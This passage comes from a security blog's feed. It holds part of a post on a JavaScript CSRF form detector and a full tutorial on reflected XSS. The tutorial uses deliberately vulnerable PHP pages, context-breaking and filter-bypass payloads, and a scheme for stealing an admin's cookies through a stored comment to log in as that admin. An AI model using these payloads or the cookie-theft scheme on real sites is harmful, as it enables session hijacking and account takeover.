for(var i = 0;i &amp;lt; $(&quot;form&quot;).length;i++){
    var formDom = $(&quot;form&quot;).eq(i); // formDom is the form element for this iteration
    var imageFileSuffix = [&apos;.jpg&apos;,&apos;.png&apos;,&apos;.jpge&apos;,&apos;.ico&apos;,&apos;.gif&apos;,&apos;.bmp&apos;]; // image-suffix whitelist, used to check whether an image is a captcha
    var placeholderFilterKeyword = [&apos;跳&apos;,&apos;搜&apos;,&apos;查&apos;,&apos;找&apos;,&apos;登陆&apos;,&apos;注册&apos;,&apos;search&apos;];  // useless-form blacklist, used to check whether this form is useful (input-based check); these keywords match Chinese form placeholder text
    var actionFilterKeyword = [&apos;search&apos;,&apos;find&apos;,&apos;login&apos;,&apos;reg&apos;];   // useless-form blacklist, used to check whether this form is useful (form-action-based check)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why &lt;code&gt;outerFor:&lt;/code&gt;? This is only the outer for loop. There are more loops inside. The label lets us skip this outer iteration from the innermost loop. In the innermost loop I use &lt;code&gt;continue outerFor;&lt;/code&gt; to skip the current outer iteration. (If that did not click, go back one sentence and read it again. This matters.)&lt;/p&gt;
&lt;h2&gt;0x02 Filter out search, page-jump, and other useless forms&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;First, imagine special forms, for example a form with no action, where JavaScript sends the request. That pattern is common, so I first check whether action exists:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(formDom.attr(&quot;action&quot;) != undefined){
    // when action is not empty, proceed to the next step
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then use JavaScript &lt;code&gt;some&lt;/code&gt; on action. If the action value matches a string in the blacklist we set earlier, skip it with &lt;code&gt;continue&lt;/code&gt;, which jumps out of this iteration of the loop whose init variable is &lt;code&gt;i&lt;/code&gt;. In code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(formDom.attr(&quot;action&quot;) != undefined){
    var actionCheck = actionFilterKeyword.some(function(item,index){
        return (formDom.attr(&quot;action&quot;).toLowerCase().indexOf(item)  != &quot;-1&quot;);
    })
    if(actionCheck){
        continue;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you are unclear on &lt;code&gt;some&lt;/code&gt;, see: &lt;a href=&quot;https://msdn.microsoft.com/zh-cn/library/ff679978(v=vs.94).aspx&quot;&gt;https://msdn.microsoft.com/zh-cn/library/ff679978(v=vs.94).aspx&lt;/a&gt;
JavaScript is case-sensitive, so the code above uses &lt;code&gt;toLowerCase()&lt;/code&gt; to lowercase the action value, then searches it for the action blacklist. The comparison looks like this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;action value – search (if this comparison is true, it will not compare further)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;action value – find&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;…&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The return value is a boolean. &lt;em&gt;Professional JavaScript for Web Developers&lt;/em&gt; describes &lt;code&gt;some&lt;/code&gt; as:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;Runs the given function on each item in the array and returns true if the function returns true for any one item.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;There is a variable in front of &lt;code&gt;some&lt;/code&gt;. Because &lt;code&gt;some&lt;/code&gt; returns a boolean, &lt;code&gt;actionCheck&lt;/code&gt; is also a boolean. Suppose the current form’s action is “/searchArticle.php”. That matches the blacklist string &lt;code&gt;search&lt;/code&gt;, so &lt;code&gt;some&lt;/code&gt; stops and returns true.
As shown:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/automated-detection-of-CSRF/array-some-console.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Then &lt;code&gt;if&lt;/code&gt; on &lt;code&gt;actionCheck&lt;/code&gt;. If it is true, &lt;code&gt;continue&lt;/code&gt; skips the rest of this iteration and starts the next one.&lt;/p&gt;
&lt;p&gt;OK, that filters the form’s action. Next, filter inputs with a whitelist.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;for(var x = 0;x &amp;lt; formDom.find(&quot;:text&quot;).length;x++){
    var inputTextCheck;
    var inputText =  formDom.find(&quot;:text&quot;).eq(x);
    if(inputText.attr(&quot;placeholder&quot;) == undefined){
        continue;
    }
    inputTextCheck = placeholderFilterKeyword.some(function(item,index){
        return (inputText.attr(&quot;placeholder&quot;).toLowerCase().indexOf(item)  != &quot;-1&quot;);
    })
    if(inputTextCheck){
        continue outerFor;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First use &lt;code&gt;(&quot;:text&quot;)&lt;/code&gt; to iterate every &lt;code&gt;input&lt;/code&gt; with &lt;code&gt;type&lt;/code&gt; text under the current form.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;inputTextCheck&lt;/code&gt; holds the boolean from &lt;code&gt;some&lt;/code&gt;. &lt;code&gt;inputText&lt;/code&gt; is the current input.&lt;/p&gt;
&lt;p&gt;Then &lt;code&gt;if&lt;/code&gt; whether the current input has a placeholder. If not, skip this iteration of the loop whose init variable is &lt;code&gt;x&lt;/code&gt;. Do not continue downward; run the same steps on the next input. If placeholder exists and has a value, the &lt;code&gt;if&lt;/code&gt; expression is false, so that &lt;code&gt;if&lt;/code&gt; does not run, and we continue to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;inputTextCheck = placeholderFilterKeyword.some(function(item,index){
    return (inputText.attr(&quot;placeholder&quot;).toLowerCase().indexOf(item)  != &quot;-1&quot;);
})
if(inputTextCheck){
    continue outerFor;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is the same as the action check, so I will not repeat it.&lt;/p&gt;
&lt;h2&gt;0x03 Filter out forms with no submit button&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;Why this? Some forms are not for users. They have no submit button. They are invisible to the user, and they do not touch core operations, so we drop them. Code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(formDom.find(&quot;:submit&quot;).length &amp;lt; 1){
    continue;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is simple, so I will not walk through it.&lt;/p&gt;
&lt;h2&gt;0x04 Filter out forms with a token&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;For CSRF, a form with a token can basically be treated as not vulnerable, excluding the case where the same page has both XSS and CSRF.&lt;/p&gt;
&lt;p&gt;How do we find a token? &lt;code&gt;type&lt;/code&gt; is hidden? &lt;code&gt;name&lt;/code&gt; contains token? No. Those are not accurate enough to cut false positives and still keep coverage. What we do: &lt;b&gt;check whether the value of a hidden input is longer than 10&lt;/b&gt;.&lt;/p&gt;
&lt;p&gt;What is special about a token input:&lt;/p&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;type is hidden&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;For safety, a token is generally not shorter than 10 characters.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;It is always sent to the backend as an input.&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;OK, iterate every hidden input under the current form, then check whether value length is greater than 10. If it is, this form is very likely token-protected and the program drops it. Skip this iteration of the loop whose init variable is &lt;code&gt;i&lt;/code&gt;. In code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;for(var j = 0;j &amp;lt; formDom.find(&quot;:hidden&quot;).length;j++){
    if(formDom.find(&quot;:hidden&quot;).eq(j).val().length &amp;gt; 10){
        continue outerFor;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The program is not complex. The idea is. So there is not much code here, and it is simple. I will not walk through it.&lt;/p&gt;
&lt;h2&gt;0x05 Filter out forms with a captcha&lt;/h2&gt;
&lt;hr&gt;
&lt;p&gt;After writing the automated XSS detector, this part is clearer. Take the img &lt;code&gt;src&lt;/code&gt;, and check whether the suffix is an image type. Code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(formDom.find(&quot;img&quot;).length &amp;gt; 0){
    var imageCheck;
    for(var z = 0;z &amp;lt; formDom.find(&quot;img&quot;).length;z++){
        var img = formDom.find(&quot;img&quot;).eq(z);
        var imgSrc = img.attr(&quot;src&quot;)
        if(!!imgSrc){
            if(imgSrc.indexOf(&quot;?&quot;) != &quot;-1&quot;){
                imgSrc = imgSrc.slice(0,imgSrc.indexOf(&quot;?&quot;));
            }
            imgSrc = imgSrc.substr(imgSrc.lastIndexOf(&quot;.&quot;),imgSrc.length);
            imageCheck = imageFileSuffix.some(function(item,index){
                return (imgSrc == item);
            })
            if(!imageCheck){
                continue outerFor;
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;First, &lt;code&gt;formDom.find(&quot;img&quot;).length&lt;/code&gt; checks whether the current form has images. If it does, the &lt;code&gt;if&lt;/code&gt; is true. Inside, a variable holds the boolean from &lt;code&gt;some&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then a for loop over img tags in the current form. &lt;code&gt;img&lt;/code&gt; is the current img tag. &lt;code&gt;imgSrc&lt;/code&gt; is its src.&lt;/p&gt;
&lt;p&gt;Next, &lt;code&gt;if(!!imgSrc)&lt;/code&gt;: this coerces &lt;code&gt;imgSrc&lt;/code&gt; to a boolean. If the img has no src or an empty value, it is false. If src exists and has a value, it is true.&lt;/p&gt;
&lt;p&gt;The next block strips everything after &lt;code&gt;?&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;if(imgSrc.indexOf(&quot;?&quot;) != &quot;-1&quot;){
    imgSrc = imgSrc.slice(0,imgSrc.indexOf(&quot;?&quot;));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Why? To keep captcha images from being cached, people append a question mark and a random number so each refresh requests the image again.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;imgSrc = imgSrc.substr(imgSrc.lastIndexOf(&quot;.&quot;),imgSrc.length);&lt;/code&gt; strips everything except the suffix. For example, an img like:
&lt;code&gt;&amp;lt;img src=&quot;https://wwww.baidu.com/code.php?rand=458711541&quot;&amp;gt;&lt;/code&gt;. After the code above, only &lt;code&gt;.php&lt;/code&gt; is left.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;some&lt;/code&gt; below is the same as before. The only extra is &lt;code&gt;!&lt;/code&gt; to negate. Previous checks were blacklists. This one is a whitelist, so we negate.&lt;/p&gt;
&lt;h2&gt;0x06 Other&lt;/h2&gt;
&lt;p&gt;The full code:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;outerFor:
for(var i = 0;i &amp;lt; $(&quot;form&quot;).length;i++){
    var formDom = $(&quot;form&quot;).eq(i);
    var imageFileSuffix = [&apos;.jpg&apos;,&apos;.png&apos;,&apos;.jpge&apos;,&apos;.ico&apos;,&apos;.gif&apos;,&apos;.bmp&apos;];
    var placeholderFilterKeyword = [&apos;跳&apos;,&apos;搜&apos;,&apos;查&apos;,&apos;找&apos;,&apos;登陆&apos;,&apos;注册&apos;,&apos;search&apos;];
    var actionFilterKeyword = [&apos;search&apos;,&apos;find&apos;,&apos;login&apos;,&apos;reg&apos;];
    // remove useless forms such as search and page-jump forms
    if(formDom.attr(&quot;action&quot;) != undefined){
        var actionCheck = actionFilterKeyword.some(function(item,index){
            return (formDom.attr(&quot;action&quot;).toLowerCase().indexOf(item)  != &quot;-1&quot;);
        })
        if(actionCheck){
            continue;
        }
    }
    for(var x = 0;x &amp;lt; formDom.find(&quot;:text&quot;).length;x++){
        var inputTextCheck;
        var inputText =  formDom.find(&quot;:text&quot;).eq(x);
        if(inputText.attr(&quot;placeholder&quot;) == undefined){
            continue;
        }
        inputTextCheck = placeholderFilterKeyword.some(function(item,index){
            return (inputText.attr(&quot;placeholder&quot;).toLowerCase().indexOf(item)  != &quot;-1&quot;);
        })
        if(inputTextCheck){
            continue outerFor;
        }
    }
    // remove forms without a submit button
    if(formDom.find(&quot;:submit&quot;).length &amp;lt; 1){
        continue;
    }
    // remove forms that contain a token
    for(var j = 0;j &amp;lt; formDom.find(&quot;:hidden&quot;).length;j++){
        if(formDom.find(&quot;:hidden&quot;).eq(j).val().length &amp;gt; 10){
            continue outerFor;
        }
    }
    // remove forms that contain a captcha
    if(formDom.find(&quot;img&quot;).length &amp;gt; 0){
        var imageCheck;
        for(var z = 0;z &amp;lt; formDom.find(&quot;img&quot;).length;z++){
            var img = formDom.find(&quot;img&quot;).eq(z);
            var imgSrc = img.attr(&quot;src&quot;)
            if(!!imgSrc){
                if(imgSrc.indexOf(&quot;?&quot;) != &quot;-1&quot;){
                    imgSrc = imgSrc.slice(0,imgSrc.indexOf(&quot;?&quot;));
                }
                imgSrc = imgSrc.substr(imgSrc.lastIndexOf(&quot;.&quot;),imgSrc.length);
                imageCheck = imageFileSuffix.some(function(item,index){
                    return (imgSrc == item);
                })
                if(!imageCheck){
                    continue outerFor;
                }
            }
        }
    }
    console.log(formDom)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;console.log(formDom)&lt;/code&gt; can be changed to send a request with ajax, or &lt;code&gt;alert&lt;/code&gt; that the page may have a CSRF issue. How you use it is up to you: pack it into a browser extension by hand. Here is the automated XSS extension I wrote earlier: &lt;a href=&quot;http://pan.baidu.com/s/1ge5VTcf&quot;&gt;http://pan.baidu.com/s/1ge5VTcf&lt;/a&gt;. Unpack it, replace the JavaScript with the full code above, and pack it again.&lt;/p&gt;
&lt;p&gt;This post still has many gaps. The program is only a prototype, so I did not attach a ready-to-use tool. First time I have done it this way. A lot is not covered, such as JSON Hijacking detection. The next chapter will finish that, and I will also release a tool you can use directly. Part 2 or 3 may combine the earlier XSS automation with this CSRF detection. XSS plus CSRF is much more dangerous.&lt;/p&gt;
</content:encoded><category>web security</category><category>csrf</category><author>bh@bugs.cc (Kevin Cui)</author></item><item><title>XSS principles, dissected</title><link>https://bugs.cc/posts/principle-analysis-and-anatomy-of-xss/</link><guid isPermaLink="true">https://bugs.cc/posts/principle-analysis-and-anatomy-of-xss/</guid><description>XSS principles, part 1</description><pubDate>Mon, 30 May 2016 03:27:07 GMT</pubDate><content:encoded>&lt;h2&gt;0x01 Preface&lt;/h2&gt;
&lt;p&gt;There was not much material on XSS attacks at first (mostly ready-made payloads, nothing from first principles). Things improved after 刺’s “Web Security From a White Hat’s Perspective” and cn4rry’s “XSS Cross-Site Scripting: Analysis and Defense”.&lt;/p&gt;
&lt;p&gt;I will skip the history of XSS. XSS is a popular attack that still does not get much respect. Why:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Time-consuming&lt;/li&gt;
&lt;li&gt;A real chance it fails&lt;/li&gt;
&lt;li&gt;No software that fully automates the attack&lt;/li&gt;
&lt;li&gt;Early on you need basic HTML and JS. Later you need solid HTML, JS, ActionScript 2/3.0, and so on&lt;/li&gt;
&lt;li&gt;It is a passive attack&lt;/li&gt;
&lt;li&gt;Useless against a website with HttpOnly and crossdomian.xml&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;None of that stopped attackers from loving this bug. One reason is enough: “XSS exists on almost every site. Google, Baidu, 360, all of them.”&lt;/p&gt;
&lt;h2&gt;0x02 How it works&lt;/h2&gt;
&lt;p&gt;First, set up a local PHP environment (phpStudy is fine). Then put this in &lt;code&gt;index.php&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;
        &amp;lt;title&amp;gt;XSS principle reproduction&amp;lt;/title&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;form action=&quot;&quot; method=&quot;get&quot;&amp;gt;
            &amp;lt;input type=&quot;text&quot; name=&quot;xss_input&quot;&amp;gt;
            &amp;lt;input type=&quot;submit&quot;&amp;gt;
        &amp;lt;/form&amp;gt;
        &amp;lt;hr&amp;gt;
        &amp;lt;?php
        $xss = $_GET[&apos;xss_input&apos;];
        echo &apos;The characters you entered are&amp;lt;br&amp;gt;&apos;.$xss;
        ?&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You will see a page like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/echo-form-empty.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Try typing &lt;code&gt;abcd123&lt;/code&gt;. The result:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/echo-abcd123.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Now look at the source:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/source-echo-abcd123.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The string we typed is echoed as-is. Here is a hypothesis: what if we type &lt;code&gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&lt;/code&gt; in the box? Following the example above, it should land between &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;/boby&amp;gt;&lt;/code&gt; on line 12, becoming &lt;code&gt;&amp;lt;br&amp;gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&amp;lt;/boby&amp;gt;&lt;/code&gt;, and a dialog should pop.&lt;/p&gt;
&lt;p&gt;Hypothesis stated. Time to test it.&lt;/p&gt;
&lt;p&gt;Type &lt;code&gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&lt;/code&gt;. The page:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/script-alert-popup.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The dialog pops. At this point you can basically confirm an XSS vulnerability.&lt;/p&gt;
&lt;p&gt;Look at the source again:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/source-script-in-body.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The hypothesis holds. This section is the principle. The next sections cover construction and exploitation.&lt;/p&gt;
&lt;h2&gt;0x03 Crafting payloads from the output context&lt;/h2&gt;
&lt;p&gt;The last section was the principle. The sink is not always between &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; and &lt;code&gt;&amp;lt;/boby&amp;gt;&lt;/code&gt;. It can sit in an HTML attribute or inside another tag. This section matters, because typing&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&lt;/code&gt; does not always pop a dialog.&lt;/p&gt;
&lt;p&gt;The code first:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;html&amp;gt;
    &amp;lt;head&amp;gt;
        &amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot; /&amp;gt;
        &amp;lt;title&amp;gt;XSS: constructing code using the output context&amp;lt;/title&amp;gt;
    &amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
        &amp;lt;center&amp;gt;
            &amp;lt;h6&amp;gt;Output our input string into the value attribute of the input&amp;lt;/h6&amp;gt;
            &amp;lt;form action=&quot;&quot; method=&quot;get&quot;&amp;gt;
                &amp;lt;h6&amp;gt;Enter the string you want to display&amp;lt;/h6&amp;gt;
                &amp;lt;input type=&quot;text&quot; name=&quot;xss_input_value&quot; value=&quot;input&quot;&amp;gt;&amp;lt;br&amp;gt;
                &amp;lt;input type=&quot;submit&quot;&amp;gt;
            &amp;lt;/form&amp;gt;
            &amp;lt;hr&amp;gt;
            &amp;lt;?php
            $xss = $_GET[&apos;xss_input_value&apos;];
            if(isset($xss)){
                echo &apos;&amp;lt;input type=&quot;text&quot; value=&quot;&apos;.$xss.&apos;&quot;&amp;gt;&apos;;
            }else{
                echo &apos;&amp;lt;input type=&quot;type&quot; value=&quot;output&quot;&amp;gt;&apos;;
            }
            ?&amp;gt;
        &amp;lt;/center&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The page looks like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/value-attr-form.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;This takes the string from the first input and writes it into the second. Type &lt;code&gt;1&lt;/code&gt;, and the second input’s value is &lt;code&gt;1&lt;/code&gt;. Screenshots of the page and the source (I typed &lt;code&gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&lt;/code&gt; to test):&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/value-attr-script-typed.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/value-attr-no-popup.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;No dialog. You might wonder why. Look at the source:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/source-script-in-value.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The string landed in the value attribute of the input on line 15. It is treated as the value, so there is no popup. What now? Clever people already noticed you can prefix &lt;code&gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&lt;/code&gt; with &lt;code&gt;&quot;&amp;gt;&lt;/code&gt; to close the input tag. The result should be:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/quote-breakout-popup.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The dialog pops. Look at the page now:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/quote-breakout-leftover.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;There is a leftover &lt;code&gt;&quot;&amp;gt;&lt;/code&gt; after the second input. Why? Look at the source:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/source-quote-breakout.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;The payload contains two &lt;code&gt;&quot;&amp;gt;&lt;/code&gt;. The first closes the input. The second is leftover. HTML is forgiving, so unlike PHP it does not error; it just prints the extra characters. Some people are perfectionists and do not want leftover text. Then what?&lt;/p&gt;
&lt;p&gt;A question: why did every XSS payload so far use tags? Can you do it without tags? Yes. Use an attribute on the existing tag. The payload is shorter, and nothing extra is printed.&lt;/p&gt;
&lt;p&gt;Same environment, but no tags allowed. What do you do? Which input attributes can run JS? If you know HTML, you already have it: event handlers. We can pop a dialog with an &lt;code&gt;on*&lt;/code&gt; handler. For example: &lt;code&gt;&quot; onclick=&quot;alert(&apos;xss&apos;)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Try it. See what the page does.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/onclick-attr-typed.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;No dialog. Did it fail? No. &lt;code&gt;onclick&lt;/code&gt; fires on click. Click the second input, and it runs &lt;code&gt;alert(&apos;xss&apos;)&lt;/code&gt;. Try it:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/onclick-alert-popup.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;After I clicked, the dialog appeared. The source:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/source-onclick-attr.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Line 15: value is empty. A click pops the dialog. Someone will ask: if it needs a click, isn’t that annoying, and doesn’t the success rate drop? Event handlers are not only &lt;code&gt;onclick&lt;/code&gt;. There are many. If you do not want the user to do anything, change &lt;code&gt;onclick&lt;/code&gt; to&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;onmousemove: fires when the mouse moves&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;onload: fires when the page finishes loading&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;And more. I will not list them all. Look them up if you want.&lt;/p&gt;
&lt;p&gt;That is not the end. There is another context where the methods above do not work.&lt;/p&gt;
&lt;p&gt;What if the sink is inside &lt;code&gt;&amp;lt;textarea&amp;gt;&lt;/code&gt;? Or inside something with higher priority than &lt;code&gt;script&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Like this:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://bugs.cc/images/principle-analysis-and-anatomy-of-xss/textarea-context.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;What then? We already closed attributes and tags. Can we close a whole element? Yes. Type &lt;code&gt;&amp;lt;/textarea&amp;gt;&amp;lt;script&amp;gt;alert(&apos;xss&apos;)&amp;lt;/script&amp;gt;&lt;/code&gt; and the dialog pops.&lt;/p&gt;
&lt;h2&gt;0x04 Bypassing filters&lt;/h2&gt;
&lt;p&gt;Suppose the site filters &lt;code&gt;script&lt;/code&gt;. Then what? One line I keep coming back to: “XSS is running the JS you want on the page.” Do not overthink it. If our JS runs, we are done. Use &lt;code&gt;img&lt;/code&gt; or &lt;code&gt;a&lt;/code&gt;, for example:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;img scr=1 onerror=alert(&apos;xss&apos;)&amp;gt; when the image file named 1 is not found, run alert(&apos;xss&apos;)
&amp;lt;a href=javascrip:alert(&apos;xss&apos;)&amp;gt;s&amp;lt;/a&amp;gt; click s to run alert(&apos;xss&apos;)
&amp;lt;iframe src=javascript:alert(&apos;xss&apos;);height=0 width=0 /&amp;gt;&amp;lt;iframe&amp;gt; use the iframe&apos;s scr to pop an alert
&amp;lt;img src=&quot;1&quot; onerror=eval(&quot;\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29&quot;)&amp;gt;&amp;lt;/img&amp;gt; bypasses an alert filter to trigger the popup
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;There are many more. Do not lock yourself to one pattern. Remember: “XSS is running the JS you want on the page.” Everything else can wait. (Sometimes it cannot.)&lt;/p&gt;
&lt;h2&gt;0x05 Exploiting XSS&lt;/h2&gt;
&lt;p&gt;After all that, people might think XSS is about popping dialogs. Wrong. The dialog only tests that XSS exists and that it runs.&lt;/p&gt;
&lt;p&gt;Now we insert JS. How?&lt;/p&gt;
&lt;p&gt;Like this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;script scr=&quot;js_url&quot;&amp;gt;&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Or this:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;lt;img src=x onerror=appendChild(createElement(&apos;script&apos;)).src=&apos;js_url&apos; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;All kinds of ways. As long as our JS runs, we are done. What is the JS for?&lt;/p&gt;
&lt;p&gt;JS can do a lot: steal cookies (useless against HttpOnly), drive the user’s actions (posts, private messages), and so on.&lt;/p&gt;
&lt;p&gt;For example, leave &lt;code&gt;&amp;lt;script scr=&quot;js_url&quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;/code&gt; in a comment. When an admin opens the comment in the backend, it fires. You get their cookies, the backend URL, the browser version, and so on. Then use the “Guilin Veteran cookie spoofing tool” to swap your cookies, and you log in as admin without account, password, or captcha.&lt;/p&gt;
&lt;p&gt;What if you cannot write JS? There are plenty of XSS platforms online. Search Baidu. They are point-and-click. I will not go further here.&lt;/p&gt;
</content:encoded><category>web security</category><category>xss</category><author>bh@bugs.cc (Kevin Cui)</author></item></channel></rss>